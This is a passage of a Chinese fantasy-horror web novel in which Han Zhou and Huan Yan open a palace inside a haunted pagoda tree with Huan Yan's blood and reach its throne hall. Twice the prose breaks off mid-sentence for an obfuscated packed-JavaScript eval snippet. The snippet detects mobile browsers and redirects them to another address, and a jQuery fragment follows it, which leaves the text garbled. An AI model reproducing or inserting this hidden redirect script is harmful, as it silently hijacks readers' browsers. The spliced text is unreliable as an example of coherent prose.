树干中传来一阵凄厉的尖叫，树上的那张人脸痛苦蠕动着，眼中流出血泪，似在哀求。 韩舟却毫不留情，手中的电锯继续深入。树干中传来一阵剧烈的震动，有什么东西正在疯狂挣扎，试图逃脱。 “咔嚓”一声，树干终于断裂。那张人脸发出一声绝望的哀嚎，随即化作一团黑烟消散。暗红色的汁液从断口处喷涌而出，溅落在地上，形成一滩血泊。 韩舟收回电锯，扫视四周。那些树木似乎感受到了她的威胁，枝干微微颤抖，枯手般的树枝缓缓缩回，不敢再轻易靠近。 桓晏看着地上的血泊，眉头紧锁：“这些树应是被某种邪术侵蚀了。” “嗯…应该是被污染了。”韩舟附和道。 “污染…”桓晏侧头看向她，想起在兰古寺的时候韩舟曾经对他说过这个词。 韩舟道：“我们先离开这里吧，这里不太安全。” “好。”桓晏应了一声，收剑入鞘，和韩舟快步走出树林。 树林出口处，一棵巨大的槐树伫立在那，一个黑袍面具人静静站在槐树下，如同一尊没有生命的雕像。 韩舟的目光落在槐树上，心中突然一动。槐树虽被称为"鬼树"，但在不少地方，它却被视为吉祥之树。她记得曾听过一句俗语："门前有槐，升官发财。"更有"槐宸"一词，指的是皇帝的宫殿。 莫非祂的宫殿就在这槐树里？韩舟被自己的想法惊了一下。 韩舟径直跑向那棵巨大的槐树，在树下站定，上下打量这颗树，这树的树干粗壮得需要数人合抱，树皮上布满密密麻麻的纹路。 她思索片刻，转过头对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15045712|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着树下的黑袍面具人说："我们要去祂的宫殿。" 黑袍面具人缓缓抬起头，动作僵硬，仿佛一尊雕像正在复活，他没有说话，青铜面具泛着森森寒意。 韩舟这次很有耐心，默默等待他的回复。 半晌后，黑袍面具人的声音终于响起，沙哑而低沉，仿佛从地狱深处传来，震得空气嗡嗡作响，"可以，但是需要一样东西。" "什么东西？" 黑袍面具人没有回答，只是缓缓抬起手，指向槐树的树干，树干上的纹路扭曲起来，浮现出一张巨大的人脸，那张脸缓缓张大了嘴，发出一声低吼。 “童男童女的血。” “啊？”韩舟闻言一愣，“童男童女的血？” “童男或者童女，都可以。”黑袍面具人语气淡漠，继续说道，“用其血浇灌这槐树，通往宫殿的大门才会打开。” 桓晏走了过来，恰好听到黑袍人的话，神色微微一凝。 韩舟思索片刻，拉着桓晏的衣袖，凑到他耳边低声道：“可是当初那些童男童女都已经沉入海底了，我们上哪儿去找他们的血？” 桓晏看了她一眼，轻轻叹了口气：“他应该不是这个意思。” “那是什么意思？”韩舟一脸疑惑。 黑袍面具人似乎听到了二人的低语，发出一声低沉的笑声：“槐树要的，是童男童女之身的血。” “……”还未等韩舟反应过来，桓晏已经拔出佩剑，一手握住剑尖，他手中的鲜血顺着剑刃缓缓流下，滴落在地上，发出细微的"滴答"声。 黑袍面具人见状，怪笑一声：“没错，把你的血浇灌在这槐树上。若是纯正的童男之血，宫殿大门定会打开。” 桓晏神色平静，一言不发，走到槐树旁，将手上的鲜血滴在树干上那张巨脸上。巨脸缓缓张开嘴，吮吸着滴落的血液。 那巨脸似乎贪婪无比，吸了很久还不知满足。桓晏的脸渐渐失去血色，手指微微颤抖，鲜血顺着剑刃不断流下，滴落在树干上。 韩舟看得有点不忍心，走上前去道："要不…" 桓晏打断了她的话："再等等。" 空气中弥漫着血腥气，韩舟感觉到槐树的树干在颤动，枝叶沙沙作响。 下一瞬，槐树发出一阵呻吟，树干上的纹路亮起暗红色的光芒，那张巨脸缓缓闭上嘴。 "可以了。"黑袍面具人沙哑的声音再次响起，"宫殿的大门已经打开。 伴随着一声巨响，槐树的树干猛然撕裂开来。树皮如同腐朽的纸张般剥落，露出一个漆黑的洞口。 桓晏松开剑尖，他脸色苍白，额头上渗出细密的汗珠。韩舟快步上前，用了一个伤药在他的手上，他手上的伤口立刻愈合。 "你没事吧？" “没事。”桓晏微微摇头，有些惊讶地看了眼手上消失的伤口，抬头望向韩舟，“多谢姑娘。” 韩舟还没来得及说什么，黑袍面具人适时开口，“二位可以进去了。” 53. 树中宫殿 韩舟望向槐树上的洞口，漆黑的树洞宛如无底深渊，又像巨兽张开大嘴露出的咽喉。阴冷的风裹挟着枝叶腐烂的味道从洞穴深处涌来，吹得她鬓发飞扬。 槐树在地面投下的阴影处，黑袍面具人静立在那，衣袂在风中猎猎作响，韩舟感到他青铜面具下的眼珠转动，冰凉的目光正黏在自己身上。 "我们走吧。"桓晏的声音传来，在风中显得有些模糊。 韩舟微微点了点头，和桓晏一前一后踏入树洞。进入洞中的瞬间，呼啸的阴风戛然而止，仿佛被按了暂停键，只剩下枝叶腐烂的味道在空气中飘荡。 身后的树洞悄无声息地合拢，树皮如同活物般蠕动，缓缓愈合，发出细碎的声响，如同无数小虫在啃噬木屑。 刹那间，黑暗如潮水般涌来，将他们彻底吞没。 就在这漆黑一片中，韩舟颈间的佛珠迸发出一道耀眼的金色光芒，瞬间将洞内的景象照亮。桓晏侧目看向她颈间的佛珠，眼中闪过一丝讶异，却并未多言，只是将目光重新投向四周。 前方是一条狭长的走道，宽度恰恰能容纳两人行走，石阶上青苔成斑，蜿蜒而下，通往漆黑的洞穴深处。 走道两侧是粗糙而潮湿的石壁，上面刻满壮观的虬龙浮雕，洞穴顶部有无数纹路凸起，如同某种活物的筋脉。 韩舟和桓晏驻足片刻，便并肩顺着石阶而下，佛珠光辉流转，照亮了他们前行的路。 二人俱是沉默不语，无声走了好一段路，唯有沙沙的脚步声在寂静的走道中回响。 韩舟走在桓晏身侧，目光瞥向他略显苍白的脸色。她抿了抿唇，犹豫了下，终于忍不住开口：“那个……” 桓晏感受到韩舟的欲言又止，微微侧头看了她一眼，随即又转回去直视前方，语气平静道：“当初选童男童女出海是举国大事，我对选拔的条件自然很了解。” “哦，这样啊……”韩舟愣了一下，随即摆了摆手，“那个……我不是想问这个。” 桓晏沉默片刻，脚步未停，声音依旧平静，却隐隐透出一丝不自然：“……我上个月才行冠礼，按礼制，立冠之后才可以娶妻。” “啊？”韩舟闻言，先是怔住，随后眨了眨眼，脸上浮现出一抹哭笑不得的神情，有些尴尬地解释道，“不是…我就是想问，你脸色看起来很不好，要不要先停下来休息一下……” 桓晏的脚步微微一顿，片刻后轻咳一声：“不必了，这里危机四伏，我们须尽快查清房君一事，以免夜长梦多，徒增变数。” “哦……随你吧……”韩舟耸了耸肩。 桓晏继续往前走，走着走着听到身后传来韩舟“噗哧”一声笑。 韩舟终于绷不住了——他刚才居然一本正经地给她解释他的血为什么是童男之血。 桓晏无奈道：“韩姑娘，有这么好笑吗？”他的语气此刻听起来有些凉。 “不好笑，我就随便笑笑。”韩舟抿着嘴，努力压下嘴角的笑意，“这明明是好事啊！” 说明你守男德啊，真是好事一桩。 桓晏耳边传来韩舟断断续续压不住的笑声，忍不住低下头，用手指揉了揉眉心。 “好了好了，我不笑了。”韩舟走过去，轻轻拍了拍桓晏的肩膀。她之前一直觉得他虽然温和，却总有种难以接近的距离感，但刚才那一瞬间，他变得接地气了许多。 桓晏看着韩舟落在自己肩膀上的手，神色微动。 “哎，到了。”韩舟收回手，指向前方。 走道尽头隐约有亮光闪烁，二人对视一眼，加快了脚步。 走出狭长的走道，眼前的景象令他们同时呼吸一滞。 前方是数座巍峨的宫殿，宫阙高耸，金檐飞翘，气势恢宏。四周宫灯高悬，流光溢彩，金碧辉煌。 就像是韩舟看过的古装剧里的皇宫。 哇哦…韩舟心里发出一声感叹，这怪谈boss是原地登基了吗？还挺会享受啊… 她正待再发表几句感想，就听身旁的桓晏冷冷开口：“房君将此处建得几乎与皇宫无异，是想自立为帝么？” 韩舟轻轻撇了撇嘴，语气带着几分嘲讽：“他都自封为神了，自立为帝又算得了什么？不过……”她话锋一转，目光落在桓晏身上，见他神色凝重，紧紧盯着前方的宫殿，忍不住问道：“你们这的皇宫真的长这样？你去过吗？” “…”桓晏沉默片刻，低声道，“去过。” “哦～那敢情好啊，你来带路。”韩舟略一思索，“皇帝会出现在哪里呢…你们这的皇帝一般在哪上朝？” “奉天殿。”桓晏答得干脆。 “嗯……”韩舟微微颔首，“我们就去奉天殿，不过…我们得提前做点准备。” “准备什么？”桓晏侧目看她，露出一丝疑惑之色。 “准备……一幅地图。”韩舟捏了捏下巴，语气轻描淡写。 “地图？”桓晏眼中疑惑加深。 韩舟点了点头，煞有介事地开口：“然后将我的匕首藏在地图里，献给这里的‘皇帝’，再行刺杀之事……” “……”桓晏闻言陷入沉默。 “怎么？这法子不好？”韩舟扬起嘴角，“那我换个法子。准备一条鱼，将匕首藏于鱼腹中，再……” “够了。”桓晏忍不住打断她，语气中带着一丝无奈，“这些东西，你都是从哪儿学来的？” 韩舟耸了耸肩，随口道：“书上看来的啊……这些都是前人的宝贵经验，我不过是活学活用罢了。” 桓晏用手指抵住额头，揉了揉眉心，轻轻叹了口气。 韩舟见状，忍不住笑出声来：“我开玩笑的，看你这么严肃，活跃一下气氛罢了。这里既没地图，也没鱼……不过有一点我没说错……”她收敛笑容，表情严肃起来，“反正最后，我们肯定要把这里的‘祂’给宰了。” 桓晏抬眼看向她，脸上露出一丝温和笑意，低声道：“好。” “走，我们去奉天殿。”韩舟看了桓晏一眼，语气干脆，“你带路。” 桓晏微微颔首，走在前方，韩舟紧随其后，不多时，他们就到达了奉天殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15055988|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前。 韩舟看到面前的宫殿不禁屏住呼吸，满心惊叹，这奉天殿实在是…太壮观了。 殿顶覆着金黄琉璃瓦，在灯火映照下熠熠生辉，仿佛金龙盘踞。殿门两侧立着两尊巨大的青铜瑞兽，兽目圆睁，凛凛生威。 殿外朱红廊柱上盘绕着祥云与瑞兽的浮雕，白玉石阶梯垂直延伸至韩舟脚边。 韩舟心中一阵热血沸腾，眼中闪烁着跃跃欲试的光芒。她唤出电锯抓在手上，一脚踏上白玉石阶梯，脚步轻快无比，到后来几乎是小跑起来，朝着殿内疾驰而去。 “韩……”桓晏刚喊出一个字，便见韩舟的身影已跑出老远，他眼中闪过一丝无奈，随即迅速追了上去。 韩舟一路狂奔冲到大殿门口，随后停下脚步，轻手轻脚躲在一根柱子后，探头探脑看向大殿内。 殿内地面铺着光滑的大理石，石面上隐隐映出殿顶的金龙图案。黄金打造的灯盏中灯火明亮，将整座大殿照耀得如同白昼。 殿内两侧，数十个黑袍面具人静立如雕像，宽大的黑袍垂至地面，遮住了他们的双脚。 他们每一个都低垂着头，双手交叠于身前，狰狞的青铜面具遮掩了他们脸上的表情，无声无息，宛如死了一般，空气中弥漫着一股压抑的沉寂。 殿中央，一座巨大的龙椅巍然矗立，椅身雕有双龙戏珠，龙身鳞片闪烁着金光，龙眼镶嵌着血红宝石。 然而，这个龙椅座位上是空的。 片刻后，那些黑袍面具人动了。他们整齐划一地转身，面朝龙椅，动作僵硬却精准，仿佛被无形的丝线操控。紧接着，他们缓缓屈膝，跪倒在地，额头触地，行起了跪拜礼。 他们的头不断撞击在大理石地面上，发出了“咚咚咚”的声响。 韩舟目光在空荡荡的龙椅和那些跪拜的黑袍面具人之间来回游移，心中升起一丝疑惑。低声自语道："奇怪，王座上又没有人。" 低语间，桓晏已悄然来到她身侧。他微微侧身，目光也望向大殿内，见到那些黑袍面具人诡异的跪拜动作，眉头不由得紧蹙起来。 韩舟压低声音，对身旁的桓晏说道：“这些人跪拜的到底是谁？龙椅上明明空无一人，难道他们是在拜空气？” 桓晏目光沉静，凝视着殿内的景象，低声道：“或许，他们跪拜的并非实体，而是某种象征，或是……某种无形的存在。” 韩舟闻言，心中隐隐有些不安，她握紧了手中的电锯，她感觉这些黑袍面具人的跪拜行为更像是某种仪式。 殿内的黑袍面具人依旧未停止跪拜，他们的动作机械而整齐，额头重重地撞击在大理石地面上，发出“咚咚咚”的闷响，一声比一声响亮，仿佛要将地面凿穿。 韩舟心中暗自嘀咕：得亏他们戴的是青铜面具，要是换成鬼市那种木雕面具，怕是早就撞得稀烂了……这些家伙，不会一直磕到天荒地老吧？ 下一瞬，那些黑袍面具人停止了跪拜，齐刷刷地站起身，转过头来，青铜面具下的眼睛冰冷而空洞，直直地望向韩舟和桓晏所在的方向。